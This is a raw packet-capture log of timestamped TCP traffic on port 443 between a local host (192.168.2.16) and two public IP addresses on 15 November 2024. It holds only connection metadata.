Nov 15, 2024 11:23:36.867830992 CET	443	49713	142.250.185.65	192.168.2.16
Nov 15, 2024 11:23:36.867904902 CET	49713	443	192.168.2.16	142.250.185.65
Nov 15, 2024 11:23:36.868177891 CET	49713	443	192.168.2.16	142.250.185.65
Nov 15, 2024 11:23:36.872169971 CET	443	49715	142.250.185.65	192.168.2.16
Nov 15, 2024 11:23:36.872262001 CET	49715	443	192.168.2.16	142.250.185.65
Nov 15, 2024 11:23:36.875421047 CET	49715	443	192.168.2.16	142.250.185.65
Nov 15, 2024 11:23:36.875432968 CET	443	49715	142.250.185.65	192.168.2.16
Nov 15, 2024 11:23:36.875761986 CET	443	49715	142.250.185.65	192.168.2.16
Nov 15, 2024 11:23:36.875823975 CET	49715	443	192.168.2.16	142.250.185.65
Nov 15, 2024 11:23:36.876118898 CET	49715	443	192.168.2.16	142.250.185.65
Nov 15, 2024 11:23:36.899339914 CET	443	49712	142.250.186.78	192.168.2.16
Nov 15, 2024 11:23:36.909109116 CET	443	49714	142.250.186.78	192.168.2.16
Nov 15, 2024 11:23:36.909184933 CET	49714	443	192.168.2.16	142.250.186.78
Nov 15, 2024 11:23:36.910181999 CET	443	49714	142.250.186.78	192.168.2.16
Nov 15, 2024 11:23:36.910243988 CET	49714	443	192.168.2.16	142.250.186.78
Nov 15, 2024 11:23:36.911339045 CET	443	49713	142.250.185.65	192.168.2.16
Nov 15, 2024 11:23:36.912909031 CET	49714	443	192.168.2.16	142.250.186.78
Nov 15, 2024 11:23:36.912934065 CET	443	49714	142.250.186.78	192.168.2.16
Nov 15, 2024 11:23:36.913261890 CET	443	49714	142.250.186.78	192.168.2.16
Nov 15, 2024 11:23:36.913326979 CET	49714	443	192.168.2.16	142.250.186.78
Nov 15, 2024 11:23:36.913570881 CET	49714	443	192.168.2.16	142.250.186.78
Nov 15, 2024 11:23:36.923335075 CET	443	49715	142.250.185.65	192.168.2.16
Nov 15, 2024 11:23:36.955338001 CET	443	49714	142.250.186.78	192.168.2.16
Nov 15, 2024 11:23:37.221889973 CET	443	49712	142.250.186.78	192.168.2.16
Nov 15, 2024 11:23:37.221978903 CET	49712	443	192.168.2.16	142.250.186.78
Nov 15, 2024 11:23:37.222007990 CET	443	49712	142.250.186.78	192.168.2.16
Nov 15, 2024 11:23:37.222052097 CET	49712	443	192.168.2.16	142.250.186.78
Nov 15, 2024 11:23:37.222162008 CET	49712	443	192.168.2.16	142.250.186.78
Nov 15, 2024 11:23:37.222260952 CET	443	49712	142.250.186.78	192.168.2.16
Nov 15, 2024 11:23:37.222381115 CET	49712	443	192.168.2.16	142.250.186.78
Nov 15, 2024 11:23:37.222906113 CET	49719	443	192.168.2.16	142.250.186.78
Nov 15, 2024 11:23:37.222975969 CET	443	49719	142.250.186.78	192.168.2.16
Nov 15, 2024 11:23:37.223220110 CET	49719	443	192.168.2.16	142.250.186.78
Nov 15, 2024 11:23:37.223529100 CET	49719	443	192.168.2.16	142.250.186.78
Nov 15, 2024 11:23:37.223550081 CET	443	49719	142.250.186.78	192.168.2.16
Nov 15, 2024 11:23:37.282455921 CET	443	49714	142.250.186.78	192.168.2.16
Nov 15, 2024 11:23:37.282839060 CET	49714	443	192.168.2.16	142.250.186.78
Nov 15, 2024 11:23:37.282865047 CET	443	49714	142.250.186.78	192.168.2.16
Nov 15, 2024 11:23:37.283243895 CET	49714	443	192.168.2.16	142.250.186.78
Nov 15, 2024 11:23:37.283453941 CET	49714	443	192.168.2.16	142.250.186.78
Nov 15, 2024 11:23:37.283504009 CET	443	49714	142.250.186.78	192.168.2.16
Nov 15, 2024 11:23:37.283564091 CET	49714	443	192.168.2.16	142.250.186.78
Nov 15, 2024 11:23:37.287659883 CET	49720	443	192.168.2.16	142.250.186.78
Nov 15, 2024 11:23:37.287718058 CET	443	49720	142.250.186.78	192.168.2.16
Nov 15, 2024 11:23:37.288153887 CET	49720	443	192.168.2.16	142.250.186.78
Nov 15, 2024 11:23:37.288153887 CET	49720	443	192.168.2.16	142.250.186.78
Nov 15, 2024 11:23:37.288203001 CET	443	49720	142.250.186.78	192.168.2.16
Nov 15, 2024 11:23:37.291343927 CET	443	49713	142.250.185.65	192.168.2.16
Nov 15, 2024 11:23:37.291517019 CET	443	49713	142.250.185.65	192.168.2.16
Nov 15, 2024 11:23:37.291549921 CET	49713	443	192.168.2.16	142.250.185.65
Nov 15, 2024 11:23:37.291570902 CET	443	49713	142.250.185.65	192.168.2.16
Nov 15, 2024 11:23:37.295622110 CET	49713	443	192.168.2.16	142.250.185.65
Nov 15, 2024 11:23:37.297769070 CET	49713	443	192.168.2.16	142.250.185.65
Nov 15, 2024 11:23:37.297835112 CET	443	49713	142.250.185.65	192.168.2.16
Nov 15, 2024 11:23:37.297871113 CET	49721	443	192.168.2.16	142.250.185.65
Nov 15, 2024 11:23:37.297913074 CET	443	49721	142.250.185.65	192.168.2.16
Nov 15, 2024 11:23:37.297943115 CET	49713	443	192.168.2.16	142.250.185.65
Nov 15, 2024 11:23:37.300014973 CET	49721	443	192.168.2.16	142.250.185.65
Nov 15, 2024 11:23:37.300014973 CET	49721	443	192.168.2.16	142.250.185.65
Nov 15, 2024 11:23:37.300051928 CET	443	49721	142.250.185.65	192.168.2.16
Nov 15, 2024 11:23:37.438503981 CET	443	49715	142.250.185.65	192.168.2.16
Nov 15, 2024 11:23:37.438739061 CET	49715	443	192.168.2.16	142.250.185.65
Nov 15, 2024 11:23:37.438976049 CET	443	49715	142.250.185.65	192.168.2.16
Nov 15, 2024 11:23:37.439131021 CET	49715	443	192.168.2.16	142.250.185.65
Nov 15, 2024 11:23:37.439140081 CET	443	49715	142.250.185.65	192.168.2.16
Nov 15, 2024 11:23:37.439255953 CET	49715	443	192.168.2.16	142.250.185.65
Nov 15, 2024 11:23:37.439604998 CET	49715	443	192.168.2.16	142.250.185.65
Nov 15, 2024 11:23:37.439685106 CET	443	49715	142.250.185.65	192.168.2.16
Nov 15, 2024 11:23:37.439863920 CET	49715	443	192.168.2.16	142.250.185.65
Nov 15, 2024 11:23:37.440176964 CET	49722	443	192.168.2.16	142.250.185.65
Nov 15, 2024 11:23:37.440243006 CET	443	49722	142.250.185.65	192.168.2.16
Nov 15, 2024 11:23:37.440538883 CET	49722	443	192.168.2.16	142.250.185.65
Nov 15, 2024 11:23:37.440538883 CET	49722	443	192.168.2.16	142.250.185.65
Nov 15, 2024 11:23:37.440613031 CET	443	49722	142.250.185.65	192.168.2.16
Nov 15, 2024 11:23:38.098987103 CET	443	49719	142.250.186.78	192.168.2.16
Nov 15, 2024 11:23:38.099385977 CET	49719	443	192.168.2.16	142.250.186.78
Nov 15, 2024 11:23:38.101752996 CET	443	49719	142.250.186.78	192.168.2.16
Nov 15, 2024 11:23:38.101924896 CET	49719	443	192.168.2.16	142.250.186.78
Nov 15, 2024 11:23:38.105125904 CET	49719	443	192.168.2.16	142.250.186.78
Nov 15, 2024 11:23:38.105134964 CET	443	49719	142.250.186.78	192.168.2.16
Nov 15, 2024 11:23:38.105479956 CET	443	49719	142.250.186.78	192.168.2.16
Nov 15, 2024 11:23:38.106095076 CET	49719	443	192.168.2.16	142.250.186.78
Nov 15, 2024 11:23:38.106095076 CET	49719	443	192.168.2.16	142.250.186.78
Nov 15, 2024 11:23:38.136626959 CET	443	49720	142.250.186.78	192.168.2.16
Nov 15, 2024 11:23:38.136706114 CET	49720	443	192.168.2.16	142.250.186.78
Nov 15, 2024 11:23:38.137263060 CET	443	49720	142.250.186.78	192.168.2.16
Nov 15, 2024 11:23:38.137352943 CET	49720	443	192.168.2.16	142.250.186.78
Nov 15, 2024 11:23:38.140235901 CET	49720	443	192.168.2.16	142.250.186.78
Nov 15, 2024 11:23:38.140254974 CET	443	49720	142.250.186.78	192.168.2.16
Nov 15, 2024 11:23:38.140455008 CET	443	49720	142.250.186.78	192.168.2.16
Nov 15, 2024 11:23:38.140672922 CET	49720	443	192.168.2.16	142.250.186.78
Nov 15, 2024 11:23:38.140944958 CET	49720	443	192.168.2.16	142.250.186.78
Nov 15, 2024 11:23:38.147370100 CET	443	49719	142.250.186.78	192.168.2.16
Nov 15, 2024 11:23:38.164855003 CET	443	49721	142.250.185.65	192.168.2.16
Nov 15, 2024 11:23:38.165457964 CET	49721	443	192.168.2.16	142.250.185.65
Nov 15, 2024 11:23:38.166552067 CET	49721	443	192.168.2.16	142.250.185.65
Nov 15, 2024 11:23:38.166579962 CET	443	49721	142.250.185.65	192.168.2.16
Nov 15, 2024 11:23:38.167666912 CET	443	49721	142.250.185.65	192.168.2.16
Nov 15, 2024 11:23:38.168061972 CET	49721	443	192.168.2.16	142.250.185.65
Nov 15, 2024 11:23:38.168148041 CET	49721	443	192.168.2.16	142.250.185.65
Nov 15, 2024 11:23:38.187330008 CET	443	49720	142.250.186.78	192.168.2.16
Nov 15, 2024 11:23:38.211380005 CET	443	49721	142.250.185.65	192.168.2.16
Nov 15, 2024 11:23:38.311111927 CET	443	49722	142.250.185.65	192.168.2.16
Nov 15, 2024 11:23:38.311208963 CET	49722	443	192.168.2.16	142.250.185.65
Nov 15, 2024 11:23:38.313282013 CET	49722	443	192.168.2.16	142.250.185.65
Nov 15, 2024 11:23:38.313298941 CET	443	49722	142.250.185.65	192.168.2.16
Nov 15, 2024 11:23:38.313635111 CET	443	49722	142.250.185.65	192.168.2.16
Nov 15, 2024 11:23:38.313700914 CET	49722	443	192.168.2.16	142.250.185.65
Nov 15, 2024 11:23:38.314141035 CET	49722	443	192.168.2.16	142.250.185.65
Nov 15, 2024 11:23:38.355333090 CET	443	49722	142.250.185.65	192.168.2.16
Nov 15, 2024 11:23:38.477128983 CET	443	49719	142.250.186.78	192.168.2.16
Nov 15, 2024 11:23:38.477221966 CET	49719	443	192.168.2.16	142.250.186.78
Nov 15, 2024 11:23:38.477257013 CET	443	49719	142.250.186.78	192.168.2.16
Nov 15, 2024 11:23:38.477319002 CET	49719	443	192.168.2.16	142.250.186.78
Nov 15, 2024 11:23:38.477381945 CET	49719	443	192.168.2.16	142.250.186.78
Nov 15, 2024 11:23:38.477456093 CET	443	49719	142.250.186.78	192.168.2.16
Nov 15, 2024 11:23:38.477511883 CET	49719	443	192.168.2.16	142.250.186.78
Nov 15, 2024 11:23:38.478063107 CET	49723	443	192.168.2.16	142.250.186.78
Nov 15, 2024 11:23:38.478120089 CET	443	49723	142.250.186.78	192.168.2.16
Nov 15, 2024 11:23:38.478184938 CET	49723	443	192.168.2.16	142.250.186.78
Nov 15, 2024 11:23:38.478584051 CET	49723	443	192.168.2.16	142.250.186.78
Nov 15, 2024 11:23:38.478602886 CET	443	49723	142.250.186.78	192.168.2.16
Nov 15, 2024 11:23:38.512492895 CET	443	49720	142.250.186.78	192.168.2.16
Nov 15, 2024 11:23:38.512554884 CET	49720	443	192.168.2.16	142.250.186.78
Nov 15, 2024 11:23:38.512569904 CET	443	49720	142.250.186.78	192.168.2.16
Nov 15, 2024 11:23:38.512608051 CET	49720	443	192.168.2.16	142.250.186.78
Nov 15, 2024 11:23:38.512681961 CET	49720	443	192.168.2.16	142.250.186.78
Nov 15, 2024 11:23:38.512713909 CET	443	49720	142.250.186.78	192.168.2.16
Nov 15, 2024 11:23:38.512763977 CET	49720	443	192.168.2.16	142.250.186.78
Nov 15, 2024 11:23:38.513318062 CET	49724	443	192.168.2.16	142.250.186.78
Nov 15, 2024 11:23:38.513365030 CET	443	49724	142.250.186.78	192.168.2.16
Nov 15, 2024 11:23:38.513442039 CET	49724	443	192.168.2.16	142.250.186.78
Nov 15, 2024 11:23:38.513801098 CET	49724	443	192.168.2.16	142.250.186.78
Nov 15, 2024 11:23:38.513820887 CET	443	49724	142.250.186.78	192.168.2.16
Nov 15, 2024 11:23:38.566369057 CET	443	49721	142.250.185.65	192.168.2.16
Nov 15, 2024 11:23:38.566471100 CET	49721	443	192.168.2.16	142.250.185.65
Nov 15, 2024 11:23:38.566643953 CET	443	49721	142.250.185.65	192.168.2.16
Nov 15, 2024 11:23:38.566710949 CET	49721	443	192.168.2.16	142.250.185.65
Nov 15, 2024 11:23:38.566732883 CET	443	49721	142.250.185.65	192.168.2.16
Nov 15, 2024 11:23:38.566800117 CET	49721	443	192.168.2.16	142.250.185.65
Nov 15, 2024 11:23:38.567765951 CET	49721	443	192.168.2.16	142.250.185.65
Nov 15, 2024 11:23:38.567822933 CET	443	49721	142.250.185.65	192.168.2.16
Nov 15, 2024 11:23:38.567902088 CET	49721	443	192.168.2.16	142.250.185.65
Nov 15, 2024 11:23:38.568315983 CET	49726	443	192.168.2.16	142.250.185.65
Nov 15, 2024 11:23:38.568361998 CET	443	49726	142.250.185.65	192.168.2.16
Nov 15, 2024 11:23:38.568460941 CET	49726	443	192.168.2.16	142.250.185.65
Nov 15, 2024 11:23:38.568713903 CET	49726	443	192.168.2.16	142.250.185.65
Nov 15, 2024 11:23:38.568727016 CET	443	49726	142.250.185.65	192.168.2.16
Nov 15, 2024 11:23:38.718569040 CET	49722	443	192.168.2.16	142.250.185.65
Nov 15, 2024 11:23:38.718627930 CET	49724	443	192.168.2.16	142.250.186.78
Nov 15, 2024 11:23:38.718632936 CET	49723	443	192.168.2.16	142.250.186.78
Nov 15, 2024 11:23:38.718650103 CET	49726	443	192.168.2.16	142.250.185.65
Nov 15, 2024 11:23:38.765240908 CET	49727	443	192.168.2.16	142.250.186.78
Nov 15, 2024 11:23:38.765335083 CET	443	49727	142.250.186.78	192.168.2.16
Nov 15, 2024 11:23:38.765423059 CET	49727	443	192.168.2.16	142.250.186.78
Nov 15, 2024 11:23:38.765996933 CET	49729	443	192.168.2.16	142.250.185.65
Nov 15, 2024 11:23:38.766052961 CET	443	49729	142.250.185.65	192.168.2.16
Nov 15, 2024 11:23:38.766097069 CET	49727	443	192.168.2.16	142.250.186.78
Nov 15, 2024 11:23:38.766105890 CET	49729	443	192.168.2.16	142.250.185.65
Nov 15, 2024 11:23:38.766132116 CET	443	49727	142.250.186.78	192.168.2.16
Nov 15, 2024 11:23:38.766382933 CET	49728	443	192.168.2.16	142.250.186.78
Nov 15, 2024 11:23:38.766407013 CET	443	49728	142.250.186.78	192.168.2.16
Nov 15, 2024 11:23:38.766474962 CET	49728	443	192.168.2.16	142.250.186.78
Nov 15, 2024 11:23:38.766482115 CET	49729	443	192.168.2.16	142.250.185.65
Nov 15, 2024 11:23:38.766496897 CET	443	49729	142.250.185.65	192.168.2.16
Nov 15, 2024 11:23:38.766765118 CET	49728	443	192.168.2.16	142.250.186.78
Nov 15, 2024 11:23:38.766791105 CET	443	49728	142.250.186.78	192.168.2.16
Nov 15, 2024 11:23:39.630178928 CET	443	49727	142.250.186.78	192.168.2.16
Nov 15, 2024 11:23:39.630510092 CET	49727	443	192.168.2.16	142.250.186.78
Nov 15, 2024 11:23:39.631262064 CET	443	49727	142.250.186.78	192.168.2.16
Nov 15, 2024 11:23:39.631577969 CET	443	49728	142.250.186.78	192.168.2.16
Nov 15, 2024 11:23:39.631629944 CET	49727	443	192.168.2.16	142.250.186.78
Nov 15, 2024 11:23:39.632287025 CET	49728	443	192.168.2.16	142.250.186.78
Nov 15, 2024 11:23:39.632663965 CET	443	49728	142.250.186.78	192.168.2.16
Nov 15, 2024 11:23:39.633476019 CET	49728	443	192.168.2.16	142.250.186.78
Nov 15, 2024 11:23:39.637969017 CET	49728	443	192.168.2.16	142.250.186.78
Nov 15, 2024 11:23:39.637969017 CET	49727	443	192.168.2.16	142.250.186.78
Nov 15, 2024 11:23:39.638000965 CET	443	49728	142.250.186.78	192.168.2.16
Nov 15, 2024 11:23:39.638048887 CET	443	49727	142.250.186.78	192.168.2.16
Nov 15, 2024 11:23:39.638358116 CET	443	49728	142.250.186.78	192.168.2.16
Nov 15, 2024 11:23:39.638386965 CET	443	49727	142.250.186.78	192.168.2.16
Nov 15, 2024 11:23:39.638462067 CET	49728	443	192.168.2.16	142.250.186.78
Nov 15, 2024 11:23:39.638462067 CET	49727	443	192.168.2.16	142.250.186.78
Nov 15, 2024 11:23:39.638817072 CET	49728	443	192.168.2.16	142.250.186.78
Nov 15, 2024 11:23:39.638817072 CET	49727	443	192.168.2.16	142.250.186.78
Nov 15, 2024 11:23:39.661084890 CET	443	49729	142.250.185.65	192.168.2.16
Nov 15, 2024 11:23:39.661549091 CET	49729	443	192.168.2.16	142.250.185.65
Nov 15, 2024 11:23:39.665849924 CET	49729	443	192.168.2.16	142.250.185.65
Nov 15, 2024 11:23:39.665868044 CET	443	49729	142.250.185.65	192.168.2.16
Nov 15, 2024 11:23:39.666254044 CET	443	49729	142.250.185.65	192.168.2.16
Nov 15, 2024 11:23:39.666393042 CET	49729	443	192.168.2.16	142.250.185.65
Nov 15, 2024 11:23:39.667434931 CET	49729	443	192.168.2.16	142.250.185.65
Nov 15, 2024 11:23:39.679333925 CET	443	49727	142.250.186.78	192.168.2.16
Nov 15, 2024 11:23:39.683329105 CET	443	49728	142.250.186.78	192.168.2.16
Nov 15, 2024 11:23:39.711338997 CET	443	49729	142.250.185.65	192.168.2.16
Nov 15, 2024 11:23:39.997046947 CET	443	49728	142.250.186.78	192.168.2.16
Nov 15, 2024 11:23:39.997298002 CET	49728	443	192.168.2.16	142.250.186.78
Nov 15, 2024 11:23:39.997342110 CET	49728	443	192.168.2.16	142.250.186.78
Nov 15, 2024 11:23:39.997440100 CET	443	49728	142.250.186.78	192.168.2.16
Nov 15, 2024 11:23:39.997531891 CET	49728	443	192.168.2.16	142.250.186.78
Nov 15, 2024 11:23:39.997957945 CET	49734	443	192.168.2.16	142.250.185.65
Nov 15, 2024 11:23:39.998064995 CET	443	49734	142.250.185.65	192.168.2.16
Nov 15, 2024 11:23:39.998106956 CET	49733	443	192.168.2.16	142.250.186.78
Nov 15, 2024 11:23:39.998157978 CET	443	49733	142.250.186.78	192.168.2.16
Nov 15, 2024 11:23:39.998270988 CET	49734	443	192.168.2.16	142.250.185.65
Nov 15, 2024 11:23:39.998437881 CET	49733	443	192.168.2.16	142.250.186.78
Nov 15, 2024 11:23:39.998437881 CET	49733	443	192.168.2.16	142.250.186.78
Nov 15, 2024 11:23:39.998491049 CET	443	49733	142.250.186.78	192.168.2.16
Nov 15, 2024 11:23:39.998534918 CET	49734	443	192.168.2.16	142.250.185.65
Nov 15, 2024 11:23:39.998558044 CET	443	49734	142.250.185.65	192.168.2.16
Nov 15, 2024 11:23:40.003985882 CET	443	49727	142.250.186.78	192.168.2.16
Nov 15, 2024 11:23:40.004332066 CET	49727	443	192.168.2.16	142.250.186.78
Nov 15, 2024 11:23:40.004348040 CET	443	49727	142.250.186.78	192.168.2.16
Nov 15, 2024 11:23:40.004447937 CET	49727	443	192.168.2.16	142.250.186.78
Nov 15, 2024 11:23:40.004447937 CET	49727	443	192.168.2.16	142.250.186.78
Nov 15, 2024 11:23:40.004535913 CET	443	49727	142.250.186.78	192.168.2.16
Nov 15, 2024 11:23:40.004740953 CET	49727	443	192.168.2.16	142.250.186.78
Nov 15, 2024 11:23:40.004837990 CET	49735	443	192.168.2.16	142.250.186.78
Nov 15, 2024 11:23:40.004849911 CET	443	49735	142.250.186.78	192.168.2.16
Nov 15, 2024 11:23:40.004915953 CET	49735	443	192.168.2.16	142.250.186.78
Nov 15, 2024 11:23:40.005479097 CET	49735	443	192.168.2.16	142.250.186.78
Nov 15, 2024 11:23:40.005497932 CET	443	49735	142.250.186.78	192.168.2.16
Nov 15, 2024 11:23:40.102329016 CET	443	49729	142.250.185.65	192.168.2.16
Nov 15, 2024 11:23:40.102401972 CET	443	49729	142.250.185.65	192.168.2.16
Nov 15, 2024 11:23:40.102423906 CET	49729	443	192.168.2.16	142.250.185.65
Nov 15, 2024 11:23:40.102452993 CET	443	49729	142.250.185.65	192.168.2.16
Nov 15, 2024 11:23:40.102475882 CET	49729	443	192.168.2.16	142.250.185.65
Nov 15, 2024 11:23:40.102528095 CET	49729	443	192.168.2.16	142.250.185.65
Nov 15, 2024 11:23:40.102533102 CET	443	49729	142.250.185.65	192.168.2.16
Nov 15, 2024 11:23:40.103075981 CET	49729	443	192.168.2.16	142.250.185.65
Nov 15, 2024 11:23:40.103324890 CET	49729	443	192.168.2.16	142.250.185.65
Nov 15, 2024 11:23:40.103378057 CET	443	49729	142.250.185.65	192.168.2.16
Nov 15, 2024 11:23:40.103487968 CET	49729	443	192.168.2.16	142.250.185.65
Nov 15, 2024 11:23:40.104485989 CET	49736	443	192.168.2.16	142.250.185.65
Nov 15, 2024 11:23:40.104583025 CET	443	49736	142.250.185.65	192.168.2.16
Nov 15, 2024 11:23:40.104681015 CET	49736	443	192.168.2.16	142.250.185.65
Nov 15, 2024 11:23:40.104949951 CET	49736	443	192.168.2.16	142.250.185.65
Nov 15, 2024 11:23:40.104974985 CET	443	49736	142.250.185.65	192.168.2.16
Nov 15, 2024 11:23:40.856956005 CET	443	49735	142.250.186.78	192.168.2.16
Nov 15, 2024 11:23:40.857044935 CET	49735	443	192.168.2.16	142.250.186.78
Nov 15, 2024 11:23:40.857644081 CET	443	49735	142.250.186.78	192.168.2.16
Nov 15, 2024 11:23:40.857839108 CET	49735	443	192.168.2.16	142.250.186.78
Nov 15, 2024 11:23:40.859935045 CET	49735	443	192.168.2.16	142.250.186.78
Nov 15, 2024 11:23:40.859945059 CET	443	49735	142.250.186.78	192.168.2.16
Nov 15, 2024 11:23:40.860157967 CET	443	49735	142.250.186.78	192.168.2.16
Nov 15, 2024 11:23:40.860214949 CET	49735	443	192.168.2.16	142.250.186.78
Nov 15, 2024 11:23:40.860661030 CET	49735	443	192.168.2.16	142.250.186.78
Nov 15, 2024 11:23:40.860796928 CET	443	49734	142.250.185.65	192.168.2.16
Nov 15, 2024 11:23:40.860814095 CET	443	49733	142.250.186.78	192.168.2.16
Nov 15, 2024 11:23:40.860871077 CET	49734	443	192.168.2.16	142.250.185.65
Nov 15, 2024 11:23:40.860929966 CET	49733	443	192.168.2.16	142.250.186.78
Nov 15, 2024 11:23:40.861900091 CET	443	49733	142.250.186.78	192.168.2.16
Nov 15, 2024 11:23:40.862108946 CET	49733	443	192.168.2.16	142.250.186.78
Nov 15, 2024 11:23:40.862615108 CET	49734	443	192.168.2.16	142.250.185.65
Nov 15, 2024 11:23:40.862623930 CET	443	49734	142.250.185.65	192.168.2.16
Nov 15, 2024 11:23:40.862937927 CET	443	49734	142.250.185.65	192.168.2.16
Nov 15, 2024 11:23:40.862986088 CET	49734	443	192.168.2.16	142.250.185.65
Nov 15, 2024 11:23:40.863320112 CET	49734	443	192.168.2.16	142.250.185.65
Nov 15, 2024 11:23:40.863332033 CET	49733	443	192.168.2.16	142.250.186.78
Nov 15, 2024 11:23:40.863337040 CET	443	49733	142.250.186.78	192.168.2.16
Nov 15, 2024 11:23:40.863739014 CET	443	49733	142.250.186.78	192.168.2.16
Nov 15, 2024 11:23:40.863850117 CET	49733	443	192.168.2.16	142.250.186.78
Nov 15, 2024 11:23:40.864217997 CET	49733	443	192.168.2.16	142.250.186.78
Nov 15, 2024 11:23:40.903356075 CET	443	49735	142.250.186.78	192.168.2.16
Nov 15, 2024 11:23:40.911331892 CET	443	49733	142.250.186.78	192.168.2.16
Nov 15, 2024 11:23:40.911339998 CET	443	49734	142.250.185.65	192.168.2.16
Nov 15, 2024 11:23:40.989185095 CET	443	49736	142.250.185.65	192.168.2.16
Nov 15, 2024 11:23:40.989299059 CET	49736	443	192.168.2.16	142.250.185.65
Nov 15, 2024 11:23:40.991491079 CET	49736	443	192.168.2.16	142.250.185.65
Nov 15, 2024 11:23:40.991517067 CET	443	49736	142.250.185.65	192.168.2.16
Nov 15, 2024 11:23:40.991889954 CET	443	49736	142.250.185.65	192.168.2.16
Nov 15, 2024 11:23:40.991949081 CET	49736	443	192.168.2.16	142.250.185.65
Nov 15, 2024 11:23:40.992315054 CET	49736	443	192.168.2.16	142.250.185.65
Nov 15, 2024 11:23:41.039351940 CET	443	49736	142.250.185.65	192.168.2.16
Nov 15, 2024 11:23:41.223668098 CET	443	49733	142.250.186.78	192.168.2.16
Nov 15, 2024 11:23:41.223747015 CET	49733	443	192.168.2.16	142.250.186.78
Nov 15, 2024 11:23:41.223758936 CET	443	49733	142.250.186.78	192.168.2.16
Nov 15, 2024 11:23:41.223798990 CET	49733	443	192.168.2.16	142.250.186.78
Nov 15, 2024 11:23:41.223901033 CET	49733	443	192.168.2.16	142.250.186.78
Nov 15, 2024 11:23:41.223953009 CET	443	49733	142.250.186.78	192.168.2.16
Nov 15, 2024 11:23:41.224005938 CET	49733	443	192.168.2.16	142.250.186.78
Nov 15, 2024 11:23:41.224075079 CET	443	49735	142.250.186.78	192.168.2.16
Nov 15, 2024 11:23:41.224147081 CET	49735	443	192.168.2.16	142.250.186.78
Nov 15, 2024 11:23:41.224486113 CET	49735	443	192.168.2.16	142.250.186.78
Nov 15, 2024 11:23:41.224544048 CET	443	49735	142.250.186.78	192.168.2.16
Nov 15, 2024 11:23:41.224602938 CET	49735	443	192.168.2.16	142.250.186.78
Nov 15, 2024 11:23:41.224633932 CET	49737	443	192.168.2.16	142.250.186.78
Nov 15, 2024 11:23:41.224677086 CET	443	49737	142.250.186.78	192.168.2.16
Nov 15, 2024 11:23:41.224735975 CET	49737	443	192.168.2.16	142.250.186.78
Nov 15, 2024 11:23:41.224828959 CET	49738	443	192.168.2.16	142.250.186.78
Nov 15, 2024 11:23:41.224888086 CET	443	49738	142.250.186.78	192.168.2.16
Nov 15, 2024 11:23:41.224951029 CET	49738	443	192.168.2.16	142.250.186.78
Nov 15, 2024 11:23:41.225282907 CET	49738	443	192.168.2.16	142.250.186.78
Nov 15, 2024 11:23:41.225301981 CET	443	49738	142.250.186.78	192.168.2.16
Nov 15, 2024 11:23:41.225404978 CET	49737	443	192.168.2.16	142.250.186.78
Nov 15, 2024 11:23:41.225418091 CET	443	49737	142.250.186.78	192.168.2.16
Nov 15, 2024 11:23:41.257576942 CET	443	49734	142.250.185.65	192.168.2.16
Nov 15, 2024 11:23:41.257673025 CET	49734	443	192.168.2.16	142.250.185.65
Nov 15, 2024 11:23:41.257693052 CET	443	49734	142.250.185.65	192.168.2.16
Nov 15, 2024 11:23:41.257754087 CET	49734	443	192.168.2.16	142.250.185.65
Nov 15, 2024 11:23:41.257776976 CET	443	49734	142.250.185.65	192.168.2.16
Nov 15, 2024 11:23:41.257833004 CET	49734	443	192.168.2.16	142.250.185.65
Nov 15, 2024 11:23:41.257868052 CET	443	49734	142.250.185.65	192.168.2.16
Nov 15, 2024 11:23:41.257929087 CET	49734	443	192.168.2.16	142.250.185.65
Nov 15, 2024 11:23:41.258521080 CET	49734	443	192.168.2.16	142.250.185.65
Nov 15, 2024 11:23:41.258593082 CET	443	49734	142.250.185.65	192.168.2.16
Nov 15, 2024 11:23:41.258652925 CET	49734	443	192.168.2.16	142.250.185.65
Nov 15, 2024 11:23:41.259162903 CET	49739	443	192.168.2.16	142.250.185.65
Nov 15, 2024 11:23:41.259203911 CET	443	49739	142.250.185.65	192.168.2.16
Nov 15, 2024 11:23:41.259269953 CET	49739	443	192.168.2.16	142.250.185.65
Nov 15, 2024 11:23:41.259587049 CET	49739	443	192.168.2.16	142.250.185.65
Nov 15, 2024 11:23:41.259602070 CET	443	49739	142.250.185.65	192.168.2.16
Nov 15, 2024 11:23:41.422967911 CET	443	49736	142.250.185.65	192.168.2.16
Nov 15, 2024 11:23:41.423057079 CET	49736	443	192.168.2.16	142.250.185.65
Nov 15, 2024 11:23:41.423089981 CET	443	49736	142.250.185.65	192.168.2.16
Nov 15, 2024 11:23:41.423142910 CET	49736	443	192.168.2.16	142.250.185.65
Nov 15, 2024 11:23:41.423186064 CET	443	49736	142.250.185.65	192.168.2.16
Nov 15, 2024 11:23:41.423239946 CET	49736	443	192.168.2.16	142.250.185.65
Nov 15, 2024 11:23:41.423276901 CET	443	49736	142.250.185.65	192.168.2.16
Nov 15, 2024 11:23:41.423523903 CET	49736	443	192.168.2.16	142.250.185.65
Nov 15, 2024 11:23:41.423949003 CET	49736	443	192.168.2.16	142.250.185.65
Nov 15, 2024 11:23:41.424019098 CET	443	49736	142.250.185.65	192.168.2.16
Nov 15, 2024 11:23:41.424371958 CET	443	49736	142.250.185.65	192.168.2.16
Nov 15, 2024 11:23:41.424431086 CET	49736	443	192.168.2.16	142.250.185.65
Nov 15, 2024 11:23:41.424464941 CET	49736	443	192.168.2.16	142.250.185.65
Nov 15, 2024 11:23:41.424596071 CET	49740	443	192.168.2.16	142.250.185.65
Nov 15, 2024 11:23:41.424683094 CET	443	49740	142.250.185.65	192.168.2.16
Nov 15, 2024 11:23:41.424787045 CET	49740	443	192.168.2.16	142.250.185.65
Nov 15, 2024 11:23:41.425004959 CET	49740	443	192.168.2.16	142.250.185.65
Nov 15, 2024 11:23:41.425039053 CET	443	49740	142.250.185.65	192.168.2.16
Nov 15, 2024 11:23:42.085767031 CET	443	49738	142.250.186.78	192.168.2.16
Nov 15, 2024 11:23:42.085865974 CET	49738	443	192.168.2.16	142.250.186.78
Nov 15, 2024 11:23:42.086848021 CET	443	49738	142.250.186.78	192.168.2.16
Nov 15, 2024 11:23:42.086926937 CET	49738	443	192.168.2.16	142.250.186.78
Nov 15, 2024 11:23:42.090143919 CET	49738	443	192.168.2.16	142.250.186.78
Nov 15, 2024 11:23:42.090164900 CET	443	49738	142.250.186.78	192.168.2.16
Nov 15, 2024 11:23:42.090514898 CET	443	49738	142.250.186.78	192.168.2.16
Nov 15, 2024 11:23:42.090620041 CET	49738	443	192.168.2.16	142.250.186.78
Nov 15, 2024 11:23:42.090706110 CET	443	49737	142.250.186.78	192.168.2.16
Nov 15, 2024 11:23:42.090779066 CET	49737	443	192.168.2.16	142.250.186.78
